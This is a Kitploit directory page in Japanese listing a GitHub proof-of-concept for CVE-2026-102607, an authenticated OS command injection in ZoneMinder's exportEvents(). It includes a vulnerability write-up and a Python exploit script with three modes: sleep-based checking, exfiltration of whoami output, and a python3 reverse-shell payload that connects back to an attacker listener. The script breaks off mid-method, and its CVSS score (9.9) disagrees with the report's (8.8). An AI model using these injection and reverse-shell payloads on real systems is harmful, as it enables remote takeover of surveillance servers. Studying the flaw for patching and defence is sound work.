Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-102607-ZoneMinder — Python PoC。ZoneMinder <= 1.38.1 の exportEvents() における認証済み OS コマンドインジェクション CVE-2026-102607 を悪用し、RCE、コマンド出力の持ち出し、リバースシェルを可能にします。 | Kitploit
ツール/GitHubGitHub/d4kw1n/cve-2026-102607-zoneminder
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストコマンド&コントロールリモートアクセストロイの木馬
GitHubd4kw1n/cve-2026-102607-zoneminder

CVE-2026-102607-ZoneMinder

Python PoC。ZoneMinder <= 1.38.1 の exportEvents() における認証済み OS コマンドインジェクション CVE-2026-102607 を悪用し、RCE、コマンド出力の持ち出し、リバースシェルを可能にします。

リポジトリを見る
16ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

セキュリティ脆弱性レポート: ZoneMinder exportEvents() における OS コマンドインジェクション

概要

ZoneMinder のイベントエクスポート機能に、認証済みユーザーが悪用可能な OS コマンドインジェクションの脆弱性が存在します。exportFile HTTP リクエストパラメータがサニタイズされずに PHP の exec() を介して実行されるシェルコマンドに渡されるため、View Events 権限を持つ任意の認証済みユーザーがサーバー上で任意のオペレーティングシステムコマンドを実行できます。

この脆弱性により、Web サーバーユーザー (www-data) として完全なリモートコード実行 (RCE) が可能になります。

深刻度

  • CVSS v3.1 スコア: 8.8 (High)
  • CVSS ベクター: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • CWE: CWE-78 (OS コマンドに使用される特殊要素の不適切な中和)

影響を受けるバージョン

  • ZoneMinder ≤ 1.38.1 (執筆時点での最新リリース)
  • ZoneMinder 1.38.1 で確認済み

脆弱性の詳細

場所

  • エントリポイント: web/ajax/event.php、103 行目
  • 脆弱な関数: web/skins/classic/includes/export_functions.php の exportEvents()、1030~1032 行目

根本原因

exportEvents() 関数は、$_REQUEST['exportFile'] から直接取得された $export_root パラメータを受け取ります (ajax/event.php、103 行目経由)。このパラメータは、tar および zip コマンドに追加されるディレクトリパスの構築に使用されます。

1020 行目のアーカイブファイルパス ($archive_path) は escapeshellarg() を使用して適切にエスケープされていますが、1030 行目の末尾のディレクトリア引数はサニタイズされずにコマンド文字列に直接連結されています:

// Line 1020 — properly escaped ✓
$command .= ' --file='.escapeshellarg($archive_path);

// Line 1030 — NOT escaped ✗ (VULNERABLE)
$command .= ' '.$export_root.($connkey?'_'.$connkey:'').'/';

// Line 1032 — executed
exec($command, $output, $status);

攻撃者は exportFile パラメータにシェルメタ文字 (;、|、&& など) を注入することで、意図された tar/zip コマンドから脱出し、任意のコマンドを実行できます。PHP によって追加される末尾の / は、# (シェルコメント文字) を使用して無効化できます。

データフロー

HTTP Request: $_REQUEST['exportFile']
        │
        ▼
ajax/event.php (line 103)
    └── exportEvents(..., $_REQUEST['exportFile'])
                │
                ▼
export_functions.php (line 890)
    └── $export_root = $_REQUEST['exportFile']   // No sanitization
                │
                ▼
export_functions.php (line 1030)
    └── $command .= ' ' . $export_root . '/'     // Direct concatenation
                │
                ▼
export_functions.php (line 1032)
    └── exec($command)                           // OS Command Execution

前提条件

  • 認証: View Events または View Snapshots 権限を持つ任意の認証済みユーザー。
  • CSRF トークン: 有効な __csrf_magic トークンを含める必要があります (任意の ZoneMinder ページから取得)。
  • exportDetail=1: 存在しないイベント ID を使用する際に exportEventImagesMaster() で PHP の致命的エラーを防ぐため、このパラメータをリクエストに含める必要があります。

概念実証

コード PoC

#!/usr/bin/env python3
"""
=====================================================================

Affected Version : ZoneMinder <= 1.38.1
Tested On        : ZoneMinder 1.38.1 (Docker)
Vulnerability    : OS Command Injection in exportEvents()
CVSS Score       : 9.9 (Critical)
Attack Vector    : Network (Authenticated)
File             : web/skins/classic/includes/export_functions.php
Sink             : exec() at line 1032

Description:
    The exportEvents() function in ZoneMinder constructs shell commands
    for `tar` and `zip` archival using unsanitized user input from the
    `exportFile` HTTP request parameter. This parameter is used as the
    `$export_root` variable, which is directly concatenated into the
    command string passed to exec() without escapeshellarg() or any
    equivalent sanitization.

    An authenticated attacker with "View Events" permission can inject
    arbitrary OS commands by appending shell metacharacters (;) to the
    `exportFile` parameter, achieving Remote Code Execution as the
    web server user (www-data).

Usage:
    1. Start a listener on your attack machine:
       $ nc -lvnp <LPORT>

    2. Run this exploit:
       $ python3 poc.py --target http://<TARGET>/zm --lhost <LHOST> --lport <LPORT>

    3. The exploit supports three modes:
       --mode check   : Verify the vulnerability (sleep-based timing)
       --mode whoami  : Extract the output of `whoami`
       --mode revshell: Spawn a reverse shell to LHOST:LPORT

Author : d4kw1n
Date   : 2026-03-10
"""

import argparse
import re
import sys
import time
import urllib.parse

try:
    import requests
except ImportError:
    print("[-] 'requests' library required. Install with: pip install requests")
    sys.exit(1)


BANNER = r"""
  ZoneMinder - Authenticated RCE via exportEvents() Command Injection - d4kw1n
"""


class ZMExploit:
    def __init__(self, target, lhost=None, lport=None, session_cookie=None):
        self.target = target.rstrip("/")
        self.lhost = lhost
        self.lport = lport
        self.session = requests.Session()
        self.session.verify = False

        if session_cookie:
            self.session.cookies.set("ZMSESSID", session_cookie)

    def get_csrf_token(self):
        """Fetch a valid CSRF token from the target."""
        res = self.session.get(f"{self.target}/index.php", timeout=10)
        match = re.search(r'var csrfMagicToken = "(.*?)";', res.text)
        if not match:
            print("[-] Failed to extract CSRF token. Is the target reachable?")
            return None
        return match.group(1)

    def send_payload(self, payload):
        """Send the injection payload via the export action."""
        csrf = self.get_csrf_token()
        if not csrf:
            return None

        data = {
            "view": "request",
            "request": "event",
            "action": "export",
            "exportFormat": "tar",
            "exportDetail": "1",
            "eids[]": "1",
            "exportFile": payload,
            "__csrf_magic": csrf,
        }
        try:
            return self.session.post(
                f"{self.target}/index.php", data=data, timeout=30
            )
        except requests.exceptions.ReadTimeout:
            return None

    def read_output(self, filename):
        """Read exfiltrated command output via archive.php."""
        res = self.session.get(
            f"{self.target}/index.php?view=archive&type=tar&file={filename}",
            timeout=10,
        )
        return res.text.strip()

    # ── Mode: check ──────────────────────────────────────────────
    def check(self):
        """Verify the vulnerability using a timing-based approach."""
        delay = 5
        print(f"[*] Sending sleep {delay} payload for timing verification...")

        payload = f"a; sleep {delay}; #"
        start = time.time()
        self.send_payload(payload)
        elapsed = time.time() - start

        print(f"[*] Response time: {elapsed:.2f}s (expected >= {delay}s)")
        if elapsed >= delay:
            print("[+] VULNERABLE - Command injection confirmed!")
            return True
        else:
            print("[-] NOT VULNERABLE or target unreachable.")
            return False

    # ── Mode: whoami ─────────────────────────────────────────────
    def whoami(self):
        """Extract the web server user via command output exfiltration."""
        outfile = "whoami.tar"
        print(f"[*] Injecting: whoami > {outfile}")

        self.send_payload(f"a; whoami > {outfile}; #")
        result = self.read_output(outfile)

        if result:
            print(f"[+] Server running as: {result}")
        else:
            print("[-] Could not retrieve output.")
        return result

    # ── Mode: revshell ───────────────────────────────────────────
    def revshell(self):
        """Spawn a reverse shell using python3 on the target."""
        if not self.lhost or not self.lport:
            print("[-] --lhost and --lport are required for reverse shell mode.")
            return False

        print(f"[*] Sending reverse shell payload -> {self.lhost}:{self.lport}")
        print("[*] Make sure your listener is running: nc -lvnp {self.lport}")

        py_revshell = (
            f'export RHOST="{self.lhost}";export RPORT={self.lport};'
            f"python3 -c 'import sys,socket,os,pty;"
            f"s=socket.socket();"
            f's.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));'
            f"[os.dup2(s.fileno(),fd) for fd in (0,1,2)];"
            f"pty.spawn(\"sh\")'"
        )
ツールをダウンロード